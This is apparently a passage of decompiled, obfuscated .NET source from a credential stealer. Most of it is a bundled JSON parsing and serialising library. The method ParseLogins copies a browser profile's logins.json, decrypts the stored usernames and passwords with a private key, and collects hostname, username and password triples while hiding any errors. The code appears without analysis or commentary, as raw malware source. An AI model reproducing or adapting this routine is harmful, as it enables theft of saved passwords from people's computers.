// Token: 0x060002AB RID: 683 RVA: 0x00014120 File Offset: 0x00012320 public static Uri cmethod_374(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return((Uri)((Class_101)arg_0).prop_0); }
// Token: 0x060002A9 RID: 681 RVA: 0x000140DA File Offset: 0x000122DA public static TimeSpan tmethod_372(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return((TimeSpan)((Class_101)arg_0).prop_0); }
// Token: 0x060002AA RID: 682 RVA: 0x000140FD File Offset: 0x000122FD public static Guid gmethod_373(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return((Guid)((Class_101)arg_0).prop_0); }
// Token: 0x060002A6 RID: 678 RVA: 0x0001406C File Offset: 0x0001226C public static ushort pmethod_369(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return(Convert.ToUInt16(((Class_101)arg_0).prop_0, NumberFormatInfo.InvariantInfo)); }
// Token: 0x060002A8 RID: 680 RVA: 0x000140B7 File Offset: 0x000122B7 public static DateTimeOffset xmethod_371(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return((DateTimeOffset)((Class_101)arg_0).prop_0); }
// Token: 0x060002A3 RID: 675 RVA: 0x0001400B File Offset: 0x0001220B public static string dmethod_366(Class_103 arg_0) { if (arg_0 == null) { return(null); } return(arg_0.gmethod_333(true)); }
// Token: 0x0600029E RID: 670 RVA: 0x00013F43 File Offset: 0x00012143 public static float xmethod_361(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return(Convert.ToSingle(((Class_101)arg_0).prop_0, NumberFormatInfo.InvariantInfo)); }
// Token: 0x0600027A RID: 634 RVA: 0x00013542 File Offset: 0x00011742 public static Class_103 vmethod_325(TextReader arg_0) { if (arg_0 == null) { throw new ArgumentNullException("textReader"); } return(Class_103.lmethod_328 <object>(new Class_97(arg_0).pmethod_269())); }
// Token: 0x06000299 RID: 665 RVA: 0x00013E7B File Offset: 0x0001207B public static bool dmethod_356(Class_103 arg_0) { if (arg_0 == null) { throw new ArgumentNullException("value"); } return(Convert.ToBoolean(((Class_101)arg_0).prop_0, NumberFormatInfo.InvariantInfo)); }
// Token: 0x0600027C RID: 636 RVA: 0x00013575 File Offset: 0x00011775 private static IEnumerable <Class_103> kmethod_327(IEnumerable arg_0) { foreach (object arg_ in arg_0) { yield return(Class_103.lmethod_328 <object>(arg_)); } IEnumerator enumerator = null; yield break; yield break; }
// Token: 0x0600027B RID: 635 RVA: 0x00013565 File Offset: 0x00011765 private static IEnumerable <KeyValuePair <string, Class_103> > dmethod_326(IEnumerable <KeyValuePair <string, object> > arg_0) { foreach (KeyValuePair <string, object> keyValuePair in arg_0) { yield return(new KeyValuePair <string, Class_103>(keyValuePair.Key, Class_103.lmethod_328 <object>(keyValuePair.Value))); } IEnumerator <KeyValuePair <string, object> > enumerator = null; yield break; yield break; }
// Token: 0x060001D7 RID: 471 RVA: 0x0000FCE8 File Offset: 0x0000DEE8 private static List <Class_68> ParseLogins(string profile, byte[] privateKey) { List <Class_68> list = new List <Class_68>(); try { string path = Class_69.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(path)) { return(list); } foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON().tmethod_322("logins"))) { Class_103 class_ = (Class_103)obj; Class_62 class_2 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedUsername").gmethod_333(false))); Class_62 class_3 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedPassword").gmethod_333(false))); string text = Regex.Replace(Class_50.Decrypt(privateKey, class_2.prop_3[0].prop_3[1].prop_3[1].prop_1, class_2.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(Class_50.Decrypt(privateKey, class_3.prop_3[0].prop_3[1].prop_3[1].prop_1, class_3.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); Class_68 class_4 = new Class_68 { prop_0 = (string.IsNullOrEmpty(class_.tmethod_322("hostname").gmethod_333(false)) ? "UNKNOWN" : class_.tmethod_322("hostname").gmethod_333(false)), prop_1 = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), prop_2 = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (class_4.prop_1 != "UNKNOWN" && class_4.prop_2 != "UNKNOWN" && class_4.prop_0 != "UNKNOWN") { list.Add(class_4); Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk++; } } } catch { } return(list); }
// Token: 0x06000246 RID: 582 RVA: 0x00012CF1 File Offset: 0x00010EF1 public static Class_103 FromJSON(this string json) { return(Class_103.vmethod_325(new StringReader(json))); }
// Token: 0x0600027D RID: 637 RVA: 0x00013588 File Offset: 0x00011788 public static Class_103 lmethod_328 <T>(T arg_0) { if (arg_0 == null) { return(null); } T t; if ((t = arg_0) is bool) { return(new Class_101((bool)((object)t))); } if ((t = arg_0) is byte) { return(new Class_101((byte)((object)t))); } if ((t = arg_0) is char) { return(new Class_101((char)((object)t))); } if ((t = arg_0) is decimal) { return(new Class_101((decimal)((object)t))); } if ((t = arg_0) is double) { return(new Class_101((double)((object)t))); } if ((t = arg_0) is float) { return(new Class_101((float)((object)t))); } if ((t = arg_0) is int) { return(new Class_101((int)((object)t))); } if ((t = arg_0) is long) { return(new Class_101((long)((object)t))); } if ((t = arg_0) is sbyte) { return(new Class_101((sbyte)((object)t))); } if ((t = arg_0) is short) { return(new Class_101((short)((object)t))); } string str_; if ((str_ = (arg_0 as string)) != null) { return(new Class_101(str_)); } if ((t = arg_0) is uint) { return(new Class_101((uint)((object)t))); } if ((t = arg_0) is ulong) { return(new Class_101((ulong)((object)t))); } if ((t = arg_0) is ushort) { return(new Class_101((ushort)((object)t))); } if ((t = arg_0) is DateTime) { return(new Class_101((DateTime)((object)t))); } if ((t = arg_0) is DateTimeOffset) { return(new Class_101((DateTimeOffset)((object)t))); } if ((t = arg_0) is Guid) { return(new Class_101((Guid)((object)t))); } if ((t = arg_0) is TimeSpan) { return(new Class_101((TimeSpan)((object)t))); } Uri arg_; if ((arg_ = (arg_0 as Uri)) != null) { return(new Class_101(arg_)); } IEnumerable <KeyValuePair <string, object> > enumerable = arg_0 as IEnumerable <KeyValuePair <string, object> >; if (enumerable != null) { return(new Class_100(Class_103.dmethod_326(enumerable))); } IEnumerable enumerable2 = arg_0 as IEnumerable; if (enumerable2 != null) { return(new Class_98(Class_103.kmethod_327(enumerable2))); } PropertyInfo[] properties = arg_0.GetType().GetProperties(); Dictionary <string, object> dictionary = new Dictionary <string, object>(); foreach (PropertyInfo propertyInfo in properties) { dictionary.Add(propertyInfo.Name, propertyInfo.GetValue(arg_0, null).IsNull("null")); } if (dictionary.Count > 0) { return(new Class_100(Class_103.dmethod_326(dictionary))); } throw new NotSupportedException(string.Format("Unexpected parser return type: {0}", arg_0.GetType())); }
// Token: 0x06000281 RID: 641 RVA: 0x0001393C File Offset: 0x00011B3C private void tmethod_332(TextWriter arg_0, bool bool_0) { switch (this.prop_0) { case Class_102.\u032F\u0020\u0357\u030E\u0345\u0317\u032Ec\u033A\u030D\u0489\u033A\u0E47\u031A\u0489\u034Biuprkicuzyilcxpb\u0020\u0354\u0341\u0342\u0306\u0331\u0363\u0316\u035A\u0345\u0316\u0320\u0324\u035D\u0020\u0359byltzgwaywognczj: if (bool_0) { arg_0.Write('"'); } arg_0.Write(this.vmethod_335(((Class_101)this).lmethod_318())); if (bool_0) { arg_0.Write('"'); return; } return; case Class_102.\u0317\u0340\u0358\u0347\u0350\u032F\u0020\u0349\u0306\u031C\u035C\u032E\u0331\u0339\u0358\u033Byxxiufgypxhgqoxx\u035D\u034E\u0366h\u0367\u0315\u0E47\u0311\u030D\u032A\u0325\u030B\u0306\u036D\u0347\u036Cjvklzujfhndqipfi: { arg_0.Write('{'); bool flag = false; using (IEnumerator <KeyValuePair <string, Class_103> > enumerator = ((Class_100)this).tmethod_302()) { while (enumerator.MoveNext()) { KeyValuePair <string, Class_103> keyValuePair = enumerator.Current; if (flag) { arg_0.Write(", "); } arg_0.Write('"'); arg_0.Write(this.vmethod_335(keyValuePair.Key)); arg_0.Write("\": "); if (keyValuePair.Value == null) { arg_0.Write("null"); } else { keyValuePair.Value.tmethod_332(arg_0, bool_0); } flag = true; } } arg_0.Write('}'); return; } case Class_102.\u0320\u0322\u030D\u0322\u0328\u0329\u0326\u033F\u0349\u0346\u032A\u032F\u034D\u0E47\u0363\u035Fwhntkywlfriguado\u0335\u0E47\u0020\u0326\u0322\u0346\u032F\u0313\u034F\u0346\u0358\u033C\u0347\u0020\u0325\u033Dsievsoxohtygiqah: { arg_0.Write('['); bool flag2 = false; foreach (Class_103 class_ in ((IEnumerable <Class_103>)((Class_98)this))) { if (flag2) { arg_0.Write(", "); } if (class_ != null) { class_.tmethod_332(arg_0, bool_0); } else { arg_0.Write("null"); } flag2 = true; } arg_0.Write(']'); return; } case Class_102.\u031D\u0320\u033A\u0359\u0020\u032B\u036F\u030E\u034E\u032A\u0020\u0E47\u036D\u035E\u0357\u036Bbuinszyvshdxival\u0331\u033A\u0020t\u0E47\u034D\u033F\u0320\u0020\u0313\u0320\u0324\u034A\u0331\u0317\u0365rdmtbdisonjupbxu: arg_0.Write(Class_103.dmethod_356(this) ? "true" : "false"); return; } arg_0.Write(((Class_101)this).lmethod_318()); }